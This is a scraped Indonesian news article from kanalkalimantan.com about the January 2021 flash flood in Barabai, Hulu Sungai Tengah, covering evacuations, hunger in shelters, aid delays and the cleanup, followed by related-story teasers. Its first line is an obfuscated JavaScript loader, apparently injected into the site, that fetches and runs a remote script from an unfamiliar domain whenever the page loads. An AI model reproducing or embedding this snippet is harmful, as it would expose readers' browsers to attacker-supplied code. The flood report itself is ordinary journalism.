(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BARABAI – Banjir bandang terjang Kota Barabai, Kabupaten Hulu Sungai Tengah (HST) pada Kamis (14/1/2021), air menenggelamkan Kota Barabai hingga Minggu (17/1/2021), menjadi catatan kelam sepanjang sejarah banjir di HST yang terparah.
Meskipun sudah kering dan air Sungai Barabai surut, PR warga korban banjir tak habis sbegitu saja. Banyak warga yang menderita kehilangan rumah, barang berharga, tempat usaha, barang dagangan dan sebagainya.
Puluhan ribu warga mengungsi akibat banjir bandang yang menerpa seluruh Kota Barabai. Tidak banyak yang bisa diselamatkan karena air datang begitu cepat dan tinggi.
Ketinggian air rata-rata setinggi 1,5 meter di ruas jalan bahkan ada beberapa yang mencapai lebih dari 2 meter seperti di Desa Kampung Kadi, Hivea, Bungur dan Munti Raya, Tri Kesuma juga Bukat Seberang, dan Mualimin, Kamasan, serta Bulau Sarigading dan Bulau Indah.
Kondisi tersebut memaksa warga harus meninggalkan tempat tinggal mereka, karena tidak ada lagi tempat berlindung dalam rumah.
Puncak level tertinggi banjir bandang terjadi pada Kamis (14/1/2021) dinihari, seluruh pusat kota tenggelam, pertokoan, rumah maupun perkantoran. Aktivitas lumpuh total.
Banyak warga terjebak tidak bisa menyelamatkan diri, hanya bisa bertahan di atap rumah sambil menunggu tim evakuasi menjemput.
Hari pertama banjir bandang kelaparan terjadi, warga harus bertahan selama 2 hari di tempat penampungan yang belum tersentuh relawan, maupun bantuan.
Barulah pada Jumat (15/1/2021) bantuan makanan berdatangan, pun begitu para korban belum bisa pindah ke titik aman.
Pun semua kekuatan personel BPBD, HST, TNI, Polri, Tagana, dan relawan diturunkan untuk mengevakuasi warga yang terjebak, tetapi jumlah korban tidak sebanding personel yang mampu mengevakuasi.
Para korban sempat merasa kecewa lantaran tim evakuasi maupun bantuan makanan maupun lainnya tidak sampai pada mereka.
Sebenarnya tim relawan sudah cukup banyak sampai di HST memberikan berbagai logistik, akan tetapi tidak mudah pengirimannya. Debit air tinggi juga deras ditambah kurangnya alat transportasi air menjadi kendala utama.
Di hari Sabtu (16/1/2021), luapan Sungai Barabai turun drastis hampir sekitar satu meter, para korban banjir baik yang bertahan di rumah, di tempat penampungan, maupun tempat pengungsian bisa sedikit lega.
Warga mulai keluar mencari bantuan makanan dan pakaian, sebagian sudah ada yang kembali ke rumah. Tim relawan evakuasi mulai menyalurkan bantuan hingga ke pelosok kota yang sebelumnya luput dijangkau.
Banjir berakhir, banyak pekerjaan besar menanti, warga membersihkan endapan lumpur air bah kental dan lunak. Bahkan ada yang dengan ketebalan mencapai 10 Cm.
Disamping bersih-bersih, tumpukan sampah barang-barang perabot rumah tangga yang sudah tidak terpakai lagi bekas rendaman banjir. Nyaris sepanjang jalan di bekas-bekas banjir bertumpuk begit saja, tumpukan-tumpukan itu menggunung belum terangkut. (kanalkalimantan.com/bie)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.